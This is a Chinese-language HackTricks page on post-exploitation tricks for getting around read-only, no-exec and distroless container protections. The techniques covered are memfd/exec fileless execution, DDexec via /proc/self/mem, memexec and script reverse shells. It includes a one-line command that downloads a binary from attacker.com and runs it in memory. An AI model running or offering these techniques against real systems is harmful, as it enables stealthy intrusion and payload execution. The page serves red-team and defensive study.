.. | ||
ddexec.md | ||
README.md |
绕过文件系统保护:只读 / 无执行 / Distroless
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFT收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter上关注我们 🐦 @hacktricks_live。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
如果您对黑客职业感兴趣并想要黑掉不可能黑掉的东西 - 我们正在招聘!(需要流利的波兰语书面和口语表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
视频
在以下视频中,您可以找到本页中提到的技术的更深入解释:
只读 / 无执行场景
在Linux机器上发现只读(ro)文件系统保护变得越来越普遍,特别是在容器中。这是因为在容器中运行只读文件系统只需在securitycontext
中设置**readOnlyRootFilesystem: true
**即可:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
然而,即使文件系统被挂载为只读,/dev/shm
仍然是可写的,因此我们可以在磁盘上写入内容。但是,此文件夹将以无执行保护挂载,因此如果您在此处下载二进制文件,则无法执行它。
{% hint style="warning" %}
从红队的角度来看,这使得下载和执行系统中不存在的二进制文件(如后门或类似kubectl
的枚举器)变得复杂。
{% endhint %}
最简单的绕过方法:脚本
请注意,我提到了二进制文件,只要解释器在机器内部,您可以执行任何脚本,比如shell脚本(如果存在sh
)或Python脚本(如果安装了python
)。
然而,这仅仅足以执行您的二进制后门或其他可能需要运行的二进制工具。
内存绕过
如果您想要执行一个二进制文件,但文件系统不允许,最好的方法是通过从内存中执行,因为保护在那里不适用。
FD + exec系统调用绕过
如果您在机器内部有一些强大的脚本引擎,比如Python、Perl或Ruby,您可以将要执行的二进制文件下载到内存中,将其存储在一个内存文件描述符(create_memfd
系统调用)中,这不会受到这些保护的保护,然后调用**exec
系统调用**,指示fd作为要执行的文件。
为此,您可以轻松使用项目fileless-elf-exec。您可以将二进制文件传递给它,它将生成一个以指定语言编写的脚本,其中包含使用指令对二进制文件进行压缩和b64编码以及在调用create_memfd
系统调用创建fd
并调用exec系统调用运行它的指令。
{% hint style="warning" %}
这在其他脚本语言(如PHP或Node)中不起作用,因为它们没有任何从脚本中调用原始系统调用的默认方法,因此无法调用create_memfd
来创建内存fd以存储二进制文件。
此外,在/dev/shm
中创建一个常规fd并不起作用,因为您将无法运行它,因为无执行保护将适用。
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExec是一种允许您通过覆盖其**/proc/self/mem
来修改自己进程的内存**的技术。
因此,通过控制进程执行的汇编代码,您可以编写一个shellcode并“变异”进程以执行任意代码。
{% hint style="success" %} DDexec / EverythingExec将允许您从内存加载和执行自己的shellcode或任何二进制文件。 {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
MemExec
Memexec是DDexec的自然下一步。它是一个DDexec shellcode demonised,因此每次您想要运行不同的二进制文件时,您无需重新启动DDexec,只需通过DDexec技术运行memexec shellcode,然后与此守护进程通信以传递要加载和运行的新二进制文件。
您可以在https://github.com/arget13/memexec/blob/main/a.php中找到如何使用memexec执行PHP反向shell的示例。
Memdlopen
与DDexec有类似目的,memdlopen技术允许以更简单的方式将二进制文件加载到内存中以后执行它们。甚至可以加载具有依赖关系的二进制文件。
Distroless Bypass
什么是distroless
Distroless容器仅包含运行特定应用程序或服务所需的最少组件,例如库和运行时依赖项,但不包括诸如软件包管理器、shell或系统实用程序等较大的组件。
Distroless容器的目标是通过消除不必要的组件减少容器的攻击面,并最小化可以被利用的漏洞数量。
反向Shell
在distroless容器中,您可能**找不到sh
或bash
**以获取常规shell。您也不会找到诸如ls
、whoami
、id
等二进制文件...通常在系统中运行的所有内容。
{% hint style="warning" %} 因此,您将无法像通常那样获得反向shell或枚举系统。 {% endhint %}
但是,如果受损的容器例如正在运行flask web,则已安装了python,因此您可以获取Python反向shell。如果正在运行node,则可以获取Node反向shell,大多数任何脚本语言都是如此。
{% hint style="success" %} 使用脚本语言,您可以使用语言功能枚举系统。 {% endhint %}
如果没有**只读/无执行
保护,您可以滥用反向shell在文件系统中写入您的二进制文件并执行**它们。
{% hint style="success" %} 但是,在这种类型的容器中,这些保护通常存在,但您可以使用先前的内存执行技术来绕过它们。 {% endhint %}
您可以在https://github.com/carlospolop/DistrolessRCE中找到如何利用一些RCE漏洞来获取脚本语言反向shell并从内存中执行二进制文件的示例。
如果您对黑客职业感兴趣并想要黑入不可黑入的 - 我们正在招聘!(需要流利的波兰语书面和口语)。
{% embed url="https://www.stmcyber.com/careers" %}
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看SUBSCRIPTION PLANS!
- 获取官方PEASS & HackTricks周边产品
- 发现PEASS家族,我们的独家NFTs收藏品
- 加入 💬 Discord群 或 电报群 或在Twitter 🐦 @hacktricks_live上关注我们。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。